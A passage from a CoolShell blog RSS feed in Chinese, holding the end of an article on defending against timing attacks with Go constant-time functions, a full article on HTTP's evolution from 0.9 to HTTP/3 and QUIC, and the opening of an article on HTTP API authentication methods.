<pre class="EnlighterJSRAW" data-enlighter-language="golang">func ConstantTimeByteEq(x, y uint8) int
func ConstantTimeCompare(x, y []byte) int
func ConstantTimeCopy(v int, x, y []byte)
func ConstantTimeEq(x, y int32) int
func ConstantTimeLessOrEq(x, y int) int
func ConstantTimeSelect(v, x, y int) int</pre>
<h4>One More Thing</h4>
<p>在文章结束前，再提一个事。</p>
<p>上面的所有的代码都还有一个问题——他们都要判断字符串的长度是否一致，如果不一致就返回了，所以，通过时间攻击是可以知道字符串的长度的。比如：你的密码长度。理论上来说，字符串的长度也应该属于“隐私数据”（当然，对于签名则不是）。</p>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/21672.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png" alt="我做系统架构的一些原则" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21672.html" class="wp_rp_title">我做系统架构的一些原则</a></li><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/1103.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/06/programmer-life-150x150.jpg" alt="漫画：程序员的一生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1103.html" class="wp_rp_title">漫画：程序员的一生</a></li><li ><a href="https://coolshell.cn/articles/11973.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg" alt="bash代码注入的安全漏洞" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11973.html" class="wp_rp_title">bash代码注入的安全漏洞</a></li><li ><a href="https://coolshell.cn/articles/4883.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg" alt="排序算法 Sleep Sort" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4883.html" class="wp_rp_title">排序算法 Sleep Sort</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/21003.html">计时攻击 Timing Attacks</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/21003.html/feed</wfw:commentRss>
			<slash:comments>46</slash:comments>
		
		
			</item>
		<item>
		<title>HTTP的前世今生</title>
		<link>https://coolshell.cn/articles/19840.html</link>
					<comments>https://coolshell.cn/articles/19840.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 01 Oct 2019 11:21:10 +0000</pubDate>
				<category><![CDATA[技术读物]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[系统架构]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[QUIC]]></category>
		<category><![CDATA[TCP]]></category>
		<category><![CDATA[TLS]]></category>
		<category><![CDATA[UDP]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=19840</guid>

					<description><![CDATA[<p>HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/19840.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/19840.html">HTTP的前世今生</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright" src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200.jpg" alt="" width="300" height="200" />HTTP (Hypertext transfer protocol) 翻译成中文是超文本传输协议，是互联网上重要的一个协议，由欧洲核子研究委员会CERN的英国工程师 <a title="" href="https://en.wikipedia.org/wiki/Tim_Berners-Lee">Tim Berners-Lee</a> v发明的，同时，他也是WWW的发明人，最初的主要是用于传递通过HTML封装过的数据。在1991年发布了HTTP 0.9版，在1996年发布1.0版，1997年是1.1版，1.1版也是到今天为止传输最广泛的版本（初始<a class="external text" href="https://tools.ietf.org/html/rfc2068" rel="nofollow">RFC 2068</a> 在1997年发布， 然后在1999年被 <a class="external text" href="https://tools.ietf.org/html/rfc2616" rel="nofollow">RFC 2616</a> 取代，再在2014年被 <a class="external text" href="https://tools.ietf.org/html/rfc7230" rel="nofollow">RFC 7230</a> /<a class="external text" href="https://tools.ietf.org/html/rfc7231" rel="nofollow">7231</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7232" rel="nofollow">7232</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7233" rel="nofollow">7233</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7234" rel="nofollow">7234</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7235" rel="nofollow">7235</a>取代），2015年发布了2.0版，其极大的优化了HTTP/1.1的性能和安全性，而2018年发布的3.0版，继续优化HTTP/2，激进地使用UDP取代TCP协议，目前，HTTP/3 在2019年9月26日 被 Chrome，Firefox，和Cloudflare支持，所以我想写下这篇文章，简单地说一下HTTP的前世今生，让大家学到一些知识，并希望可以在推动一下HTTP标准协议的发展。</p>
<h4>HTTP 0.9 / 1.0</h4>
<p>0.9和1.0这两个版本，就是最传统的 request &#8211; response的模式了，HTTP 0.9版本的协议简单到极点，请求时，不支持请求头，只支持 <code>GET</code> 方法，没了。HTTP 1.0 扩展了0.9版，其中主要增加了几个变化：</p>
<p><span id="more-19840"></span></p>
<ul>
<li>在请求中加入了HTTP版本号，如：<code>GET /coolshell/index.html HTTP/1.0</code></li>
<li>HTTP 开始有 header了，不管是request还是response 都有header了。</li>
<li>增加了HTTP Status Code 标识相关的状态码。</li>
<li>还有 <code>Content-Type</code> 可以传输其它的文件了。</li>
</ul>
<p>我们可以看到，HTTP 1.0 开始让这个协议变得很文明了，一种工程文明。因为：</p>
<ul>
<li>一个协议有没有版本管理，是一个工程化的象征。</li>
<li>header是协议可以说是把元数据和业务数据解耦，也可以说是控制逻辑和业务逻辑的分离。</li>
<li>Status Code 的出现可以让请求双方以及第三方的监控或管理程序有了统一的认识。最关键是还是控制错误和业务错误的分离。</li>
</ul>
<p>（注：国内很多公司HTTP无论对错只返回200，这种把HTTP Status Code 全部抹掉完全是一种工程界的倒退）</p>
<p>但是，HTTP1.0性能上有一个很大的问题，那就是每请求一个资源都要新建一个TCP链接，而且是串行请求，所以，就算网络变快了，打开网页的速度也还是很慢。所以，HTTP 1.0 应该是一个必需要淘汰的协议了。</p>
<h4> HTTP/1.1</h4>
<p>HTTP/1.1 主要解决了HTTP 1.0的网络性能的问题，以及增加了一些新的东西：</p>
<ul>
<li>可以设置 <code>keepalive</code> 来让HTTP重用TCP链接，重用TCP链接可以省了每次请求都要在广域网上进行的TCP的三次握手的巨大开销。这是所谓的“<strong>HTTP 长链接</strong>” 或是 “<strong>请求响应式的HTTP 持久链接</strong>”。英文叫 HTTP Persistent connection.</li>
<li>然后支持pipeline网络传输，只要第一个请求发出去了，不必等其回来，就可以发第二个请求出去，可以减少整体的响应时间。（注：非幂等的POST 方法或是有依赖的请求是不能被pipeline化的）</li>
<li>支持 Chunked Responses ，也就是说，在Response的时候，不必说明 <code>Content-Length</code> 这样，客户端就不能断连接，直到收到服务端的EOF标识。这种技术又叫 “<strong>服务端Push模型</strong>”，或是 “<strong>服务端Push式的HTTP 持久链接</strong>”</li>
<li>还增加了 cache control 机制。</li>
<li>协议头注增加了 Language, Encoding, Type 等等头，让客户端可以跟服务器端进行更多的协商。</li>
<li>还正式加入了一个很重要的头—— <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Host" target="_blank" rel="noopener noreferrer">HOST</a></code>这样的话，服务器就知道你要请求哪个网站了。因为可以有多个域名解析到同一个IP上，要区分用户是请求的哪个域名，就需要在HTTP的协议中加入域名的信息，而不是被DNS转换过的IP信息。</li>
<li>正式加入了 <code>OPTIONS</code> 方法，其主要用于 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener noreferrer">CORS &#8211; Cross Origin Resource Sharing</a> 应用。</li>
</ul>
<p>HTTP/1.1应该分成两个时代，一个是2014年前，一个是2014年后，因为2014年HTTP/1.1有了一组RFC（<a class="external text" href="https://tools.ietf.org/html/rfc7230" rel="nofollow">7230</a> /<a class="external text" href="https://tools.ietf.org/html/rfc7231" rel="nofollow">7231</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7232" rel="nofollow">7232</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7233" rel="nofollow">7233</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7234" rel="nofollow">7234</a>/<a class="external text" href="https://tools.ietf.org/html/rfc7235" rel="nofollow">7235</a>），这组RFC又叫“HTTP/2 预览版”。其中影响HTTP发展的是两个大的需求：</p>
<ul>
<li>一个需要是加大了HTTP的安全性，这样就可以让HTTP应用得广泛，比如，使用TLS协议。</li>
<li>另一个是让HTTP可以支持更多的应用，在HTTP/1.1 下，HTTP已经支持四种网络协议：
<ul>
<li>传统的短链接。</li>
<li>可重用TCP的的长链接模型。</li>
<li>服务端push的模型。</li>
<li>WebSocket模型。</li>
</ul>
</li>
</ul>
<p>自从2005年以来，整个世界的应用API越来多，这些都造就了整个世界在推动HTTP的前进，我们可以看到，<strong>自2014的HTTP/1.1 以来，这个世界基本的应用协议的标准基本上都是向HTTP看齐了，也许2014年前，还有一些专用的RPC协议，但是2014年以后，HTTP协议的增强，让我们实在找不出什么理由不向标准靠拢，还要重新发明轮子了。</strong></p>
<h4>HTTP/2</h4>
<p>虽然 HTTP/1.1 已经开始变成应用层通讯协议的一等公民了，但是还是有性能问题，虽然HTTP/1.1 可以重用TCP链接，但是请求还是一个一个串行发的，需要保证其顺序。然而，大量的网页请求中都是些资源类的东西，这些东西占了整个HTTP请求中最多的传输数据量。所以，理论上来说，如果能够并行这些请求，那就会增加更大的网络吞吐和性能。</p>
<p>另外，HTTP/1.1传输数据时，是以文本的方式，借助耗CPU的zip压缩的方式减少网络带宽，但是耗了前端和后端的CPU。这也是为什么很多RPC协议诟病HTTP的一个原因，就是数据传输的成本比较大。</p>
<p>其实，在2010年时，Google 就在搞一个实验型的协议，这个协议叫<a href="https://en.wikipedia.org/wiki/SPDY">SPDY</a>，这个协议成为了HTTP/2的基础（也可以说成HTTP/2就是SPDY的复刻）。HTTP/2基本上解决了之前的这些性能问题，其和HTTP/1.1最主要的不同是：</p>
<ul>
<li>HTTP/2是一个二进制协议，增加了数据传输的效率。</li>
<li>HTTP/2是可以在一个TCP链接中并发请求多个HTTP请求，移除了HTTP/1.1中的串行请求。</li>
<li>HTTP/2会压缩头，如果你同时发出多个请求，他们的头是一样的或是相似的，那么，协议会帮你消除重复的部分。这就是所谓的HPACK算法（参看<a class="external mw-magiclink-rfc" href="https://tools.ietf.org/html/rfc7541" target="_blank" rel="nofollow noopener noreferrer">RFC 7541</a> 附录A）</li>
<li>HTTP/2允许服务端在客户端放cache，又叫服务端push，也就是说，你没有请求的东西，我服务端可以先送给你放在你的本地缓存中。比如，你请求X，我服务端知道X依赖于Y，虽然你没有的请求Y，但我把把Y跟着X的请求一起返回客户端。</li>
</ul>
<p>对于这些性能上的改善，在Medium上有篇文章你可看一下相关的细节说明和测试“<a href="https://medium.com/@factoryhr/http-2-the-difference-between-http-1-1-benefits-and-how-to-use-it-38094fa0e95b" target="_blank" rel="noopener noreferrer">HTTP/2: the difference between HTTP/1.1, benefits and how to use it</a>”</p>
<p>当然，还需要注意到的是HTTP/2的协议复杂度比之前所有的HTTP协议的复杂度都上升了许多许多，其内部还有很多看不见的东西，比如其需要维护一个“优先级树”来用于来做一些资源和请求的调度和控制。如此复杂的协议，自然会产生一些不同的声音，或是降低协议的可维护和可扩展性。所以也有一些争议。尽管如此，HTTP/2还是很快地被世界所采用。</p>
<p>HTTP/2 是2015年推出的，其发布后，Google 宣布移除对SPDY的支持，拥抱标准的 HTTP/2。过了一年后，就有8.7%的网站开启了HTTP/2，根据 <a href="https://w3techs.com/technologies/details/ce-http2/all/all" target="_blank" rel="noopener noreferrer">这份报告</a> ，截止至本文发布时（2019年10月1日 ）， 在全世界范围内已经有41%的网站开启了HTTP/2。</p>
<p>HTTP/2的官方组织在 Github 上维护了一份<a href="https://github.com/http2/http2-spec/wiki/Implementations" target="_blank" rel="noopener noreferrer">各种语言对HTTP/2的实现列表</a>，大家可以去看看。</p>
<p>我们可以看到，HTTP/2 在性能上对HTTP有质的提高，所以，HTTP/2 被采用的也很快，所以，<strong>如果你在你的公司内负责架构的话，HTTP/2是你一个非常重要的需要推动的一个事，除了因为性能上的问题，推动标准落地也是架构师的主要职责，因为，你企业内部的架构越标准，你可以使用到开源软件，或是开发方式就会越有效率，跟随着工业界的标准的发展，你的企业会非常自然的享受到标准所带来的红利。</strong></p>
<h4>HTTP/3</h4>
<p>然而，这个世界没有完美的解决方案，HTTP/2也不例外，其主要的问题是：若干个HTTP的请求在复用一个TCP的连接，底层的TCP协议是不知道上层有多少个HTTP的请求的，所以，一旦发生丢包，造成的问题就是所有的HTTP请求都必需等待这个丢了的包被重传回来，哪怕丢的那个包不是我这个HTTP请求的。因为TCP底层是没有这个知识了。</p>
<p>这个问题又叫<a href="https://en.wikipedia.org/wiki/Head-of-line_blocking" target="_blank" rel="noopener noreferrer">Head-of-Line Blocking</a>问题，这也是一个比较经典的流量调度的问题。这个问题最早主要的发生的交换机上。下图来自Wikipedia。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2019/10/HOL_blocking.png" alt="" width="423" height="220" /></p>
<p>图中，左边的是输入队列，其中的1，2，3，4表示四个队列，四个队列中的1，2，3，4要去的右边的output的端口号。此时，第一个队列和第三个队列都要写右边的第四个端口，然后，一个时刻只能处理一个包，所以，一个队列只能在那等另一个队列写完后。然后，其此时的3号或1号端口是空闲的，而队列中的要去1和3号端号的数据，被第四号端口给block住了。这就是所谓的HOL blocking问题。</p>
<p>HTTP/1.1中的pipeline中如果有一个请求block了，那么队列后请求也统统被block住了；HTTP/2 多请求复用一个TCP连接，一旦发生丢包，就会block住所有的HTTP请求。这样的问题很讨厌。好像基本无解了。</p>
<p>是的TCP是无解了，但是UDP是有解的 ！<strong>于是HTTP/3破天荒地把HTTP底层的TCP协议改成了UDP！</strong></p>
<p>然后又是Google 家的协议进入了标准 &#8211; QUIC （Quick UDP Internet Connections）。接下来是QUIC协议的几个重要的特性，为了讲清楚这些特性，我需要带着问题来讲（注：下面的网络知识，如果你看不懂的话，你需要学习一下《<a href="https://book.douban.com/subject/1088054/" target="_blank" rel="noopener noreferrer">TCP/IP详解</a>》一书（在我写blog的这15年里，这本书推荐了无数次了），或是看一下本站的《<a href="https://coolshell.cn/articles/11564.html">TCP的那些事</a>》。）：</p>
<ul>
<li>首先是上面的Head-of-Line blocking问题，在UDP的世界中，这个就没了。这个应该比较好理解，因为UDP不管顺序，不管丢包（当然，QUIC的一个任务是要像TCP的一个稳定，所以QUIC有自己的丢包重传的机制）</li>
<li>TCP是一个无私的协议，也就是说，如果网络上出现拥塞，大家都会丢包，于是大家都会进入拥塞控制的算法中，这个算法会让所有人都“冷静”下来，然后进入一个“慢启动”的过程，包括在TCP连接建立时，这个慢启动也在，所以导致TCP性能迸发地比较慢。QUIC基于UDP，使用更为激进的方式。同时，QUIC有一套自己的丢包重传和拥塞控制的协，一开始QUIC是重新实现一TCP 的 CUBIC算法，但是随着BBR算法的成熟（BBR也在借鉴CUBIC算法的数学模型），QUIC也可以使用BBR算法。这里，多说几句，<strong>从模型来说，以前的TCP的拥塞控制算法玩的是数学模型，而新型的TCP拥塞控制算法是以BBR为代表的测量模型</strong>，理论上来说，后者会更好，但QUIC的团队在一开始觉得BBR不如CUBIC的算法好，所以没有用。现在的BBR 2.x借鉴了CUBIC数学模型让拥塞控制更公平。这里有文章大家可以一读“<a href="https://medium.com/google-cloud/tcp-bbr-magic-dust-for-network-performance-57a5f1ccf437" target="_blank" rel="noopener noreferrer">TCP BBR : Magic dust for network performance.</a>”</li>
<li>接下来，现在要建立一个HTTPS的连接，先是TCP的三次握手，然后是TLS的三次握手，要整出六次网络交互，一个链接才建好，虽说HTTP/1.1和HTTP/2的连接复用解决这个问题，但是基于UDP后，UDP也得要实现这个事。于是QUIC直接把TCP的和TLS的合并成了三次握手（对此，在HTTP/2的时候，是否默认开启TLS业内是有争议的，反对派说，TLS在一些情况下是不需要的，比如企业内网的时候，而支持派则说，TLS的那些开销，什么也不算了）。</li>
</ul>
<table>
<tbody>
<tr>
<td><img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-tcp-tls@2x-292x300.png" alt="" width="292" height="300" /></td>
<td><img decoding="async" loading="lazy" class="" src="https://coolshell.cn/wp-content/uploads/2019/10/http-request-over-quic@2x-300x215.png" alt="" width="312" height="227" /></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>所以，QUIC是一个在UDP之上的伪TCP +TLS +HTTP/2的多路复用的协议。</p>
<p>但是对于UDP还是有一些挑战的，这个挑战主要来自互联网上的各种网络设备，这些设备根本不知道是什么QUIC，他们看QUIC就只能看到的就是UDP，所以，在一些情况下，UDP就是有问题的，</p>
<ul>
<li>比如在NAT的环境下，如果是TCP的话，NAT路由或是代理服务器，可以通过记录TCP的四元组（源地址、源端口，目标地址，目标端口）来做连接映射的，然而，在UDP的情况下不行了。于是，QUIC引入了个叫connection id的不透明的ID来标识一个链接，用这种业务ID很爽的一个事是，如果你从你的3G/4G的网络切到WiFi网络（或是反过来），你的链接不会断，因为我们用的是connection id，而不是四元组。</li>
</ul>
<ul>
<li>然而就算引用了connection id，也还是会有问题 ，比如一些不够“聪明”的等价路由交换机，这些交换机会通过四元组来做hash把你的请求的IP转到后端的实际的服务器上，然而，他们不懂connection id，只懂四元组，这么导致属于同一个connection id但是四元组不同的网络包就转到了不同的服务器上，这就是导致数据不能传到同一台服务器上，数据不完整，链接只能断了。所以，你需要更聪明的算法（可以参看 Facebook 的 <a href="https://github.com/facebookincubator/katran" target="_blank" rel="noopener noreferrer">Katran</a> 开源项目 ）</li>
</ul>
<p>好了，就算搞定上面的东西，还有一些业务层的事没解，这个事就是 HTTP/2的头压缩算法 HPACK，HPACK需要维护一个动态的字典表来分析请求的头中哪些是重复的，HPACK的这个数据结构需要在encoder和decoder端同步这个东西。在TCP上，这种同步是透明的，然而在UDP上这个事不好干了。所以，这个事也必需要重新设计了，基于QUIC的QPACK就出来了，利用两个附加的QUIC steam，一个用来发送这个字典表的更新给对方，另一个用来ack对方发过来的update。</p>
<p>目前看下来，HTTP/3目前看上去没有太多的协议业务逻辑上的东西，更多是HTTP/2 + QUIC协议。但，HTTP/3 因为动到了底层协议，所以，在普及方面上可能会比 HTTP/2要慢的多的多。但是，可以看到QUIC协议的强大，细思及恐，QUIC这个协议真对TCP是个威胁，如果QUIC成熟了，TCP是不是会有可能成为历史呢？</p>
<p>未来十年，让我们看看UDP是否能够逆袭TCP……</p>
<p>(全文完)<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg" alt="性能调优攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/7490.html" class="wp_rp_title">性能调优攻略</a></li><li ><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg" alt="从一次经历谈 TIME_WAIT 的那些事" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22263.html" class="wp_rp_title">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png" alt="“一把梭：REST API 全用 POST”" width="150" height="150" /></a><a href="https://coolshell.cn/articles/22173.html" class="wp_rp_title">“一把梭：REST API 全用 POST”</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/11609.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg" alt="TCP 的那些事儿（下）" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11609.html" class="wp_rp_title">TCP 的那些事儿（下）</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/19840.html">HTTP的前世今生</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/19840.html/feed</wfw:commentRss>
			<slash:comments>77</slash:comments>
		
		
			</item>
		<item>
		<title>HTTP API 认证授权术</title>
		<link>https://coolshell.cn/articles/19395.html</link>
					<comments>https://coolshell.cn/articles/19395.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Thu, 09 May 2019 13:37:29 +0000</pubDate>
				<category><![CDATA[程序设计]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HMAC]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[JWT]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=19395</guid>

					<description><![CDATA[<p>我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/19395.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/19395.html">HTTP API 认证授权术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-sup_wechat_big " src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200.png" alt="" width="360" height="200" />我们知道，HTTP是无状态的，所以，当我们需要获得用户是否在登录的状态时，我们需要检查用户的登录状态，一般来说，用户的登录成功后，服务器会发一个登录凭证（又被叫作Token），就像你去访问某个公司，在前台被认证过合法后，这个公司的前台会给你的一个访客卡一样，之后，你在这个公司内去到哪都用这个访客卡来开门，而不再校验你是哪一个人。在计算机的世界里，这个登录凭证的相关数据会放在两种地方，一个地方在用户端，以Cookie的方式（一般不会放在浏览器的Local Storage，因为这很容易出现登录凭证被XSS攻击），另一个地方是放在服务器端，又叫Session的方式（SessonID存于Cookie）。</p>
<p>但是，这个世界还是比较复杂的，除了用户访问，还有用户委托的第三方的应用，还有企业和企业间的调用，这里，我想把业内常用的一些 API认证技术相对系统地总结归纳一下，这样可以让大家更为全面的了解这些技术。<strong>注意，这是一篇长文！</strong></p>
<p>本篇文章会覆盖如下技术：</p>
<ul>
<li>HTTP Basic</li>
<li>Digest Access</li>
<li>App Secret Key + HMAC</li>
<li>JWT &#8211; JSON Web Tokens</li>
<li>OAuth 1.0 &#8211; 3 legged &amp; 2 legged</li>
<li>OAuth 2.0 &#8211; Authentication Code &amp; Client Credential</li>
</ul>
<p><span id="more-19395"></span></p>
<h4>HTTP Basic</h4>
<p>HTTP Basic 是一个非常传统的API认证技术，也是一个比较简单的技术。这个技术也就是使用 <code>username</code>和 <code>password</code> 来进行登录。整个过程被定义在了 <a href="http://tools.ietf.org/html/rfc2617" target="_blank" rel="noopener noreferrer">RFC 2617</a> 中，也被描述在了 <a href="https://en.wikipedia.org/wiki/Basic_access_authentication" target="_blank" rel="noopener noreferrer">Wikipedia: Basic Access Authentication</a> 词条中，同时也可以参看 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication" target="_blank" rel="noopener noreferrer">MDN HTTP Authentication</a></p>
<p>其技术原理如下：</p>
<ol>
<li>把 <code>username</code>和 <code>password</code> 做成  <code>username:password</code> 的样子（用冒号分隔）</li>
<li>进行Base64编码。<code>Base64("username:password")</code> 得到一个字符串（如：把 <code>haoel:coolshell</code> 进行base64 后可以得到 <code>aGFvZW86Y29vbHNoZWxsCg</code> ）</li>
<li>把 <code>aGFvZW86Y29vbHNoZWxsCg</code>放到HTTP头中 <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Authorization" target="_blank" rel="noopener noreferrer"><code>Authorization</code></a> 字段中，形成 <code>Authorization: Basic aGFvZW86Y29vbHNoZWxsCg</code>，然后发送到服务端。</li>
<li>服务端如果没有在头里看到认证字段，则返回401错，以及一个个<code><code></code></code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate" target="_blank" rel="noopener noreferrer">WWW-Authenticate</a><code>: Basic Realm='HelloWorld'</code> 之类的头要求客户端进行认证。之后如果没有认证通过，则返回一个401错。如果服务端认证通过，那么会返回200。</li>
</ol>
<p>我们可以看到，使用Base64的目的无非就是为了把一些特殊的字符给搞掉，这样就可以放在HTTP协议里传输了。而这种方式的问题最大的问题就是把用户名和口令放在网络上传，所以，一般要配合TLS/SSL的安全加密方式来使用。我们可以看到 <a href="https://developer.atlassian.com/cloud/jira/platform/jira-rest-api-basic-authentication/" target="_blank" rel="noopener noreferrer">JIRA Cloud 的API认证</a>支持HTTP Basic 这样的方式。</p>
<p>但我们还是要知道，这种把用户名和密码同时放在公网上传输的方式有点不太好，因为Base64不是加密协议，而是编码协议，所以就算是有HTTPS作为安全保护，给人的感觉还是不放心。</p>
<h4>Digest Access</h4>
<p>中文称“HTTP 摘要认证”，最初被定义在了 <a href="https://tools.ietf.org/html/rfc2069" target="_blank" rel="noopener noreferrer">RFC 2069</a> 文档中（后来被 <a class="external mw-magiclink-rfc" href="https://tools.ietf.org/html/rfc2617" target="_blank" rel="nofollow noopener noreferrer">RFC 2617</a> 引入了一系列安全增强的选项；“保护质量”(qop)、随机数计数器由客户端增加、以及客户生成的随机数）。</p>
<p>其基本思路是，请求方把用户名口令和域做一个MD5 &#8211;  <code>MD5(username:realm:password)</code> 然后传给服务器，这样就不会在网上传用户名和口令了，但是，因为用户名和口令基本不会变，所以，这个MD5的字符串也是比较固定的，因此，这个认证过程在其中加入了两个事，一个是 <code>nonce</code> 另一个是 <code>qop</code></p>
<ul>
<li>首先，调用方发起一个普通的HTTP请求。比如：<code>GET /coolshell/admin/ HTTP/1.1</code></li>
<li>服务端自然不能认证能过，服务端返回401错误，并且在HTTP头里的 <code>WWW-Authenticate</code> 包含如下信息：</li>
</ul>
<pre style="padding-left: 40px;"> WWW-Authenticate: Digest realm="testrealm@host.com",
                        qop="auth,auth-int",
                        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                        opaque="5ccc069c403ebaf9f0171e9517f40e41"</pre>
<ul>
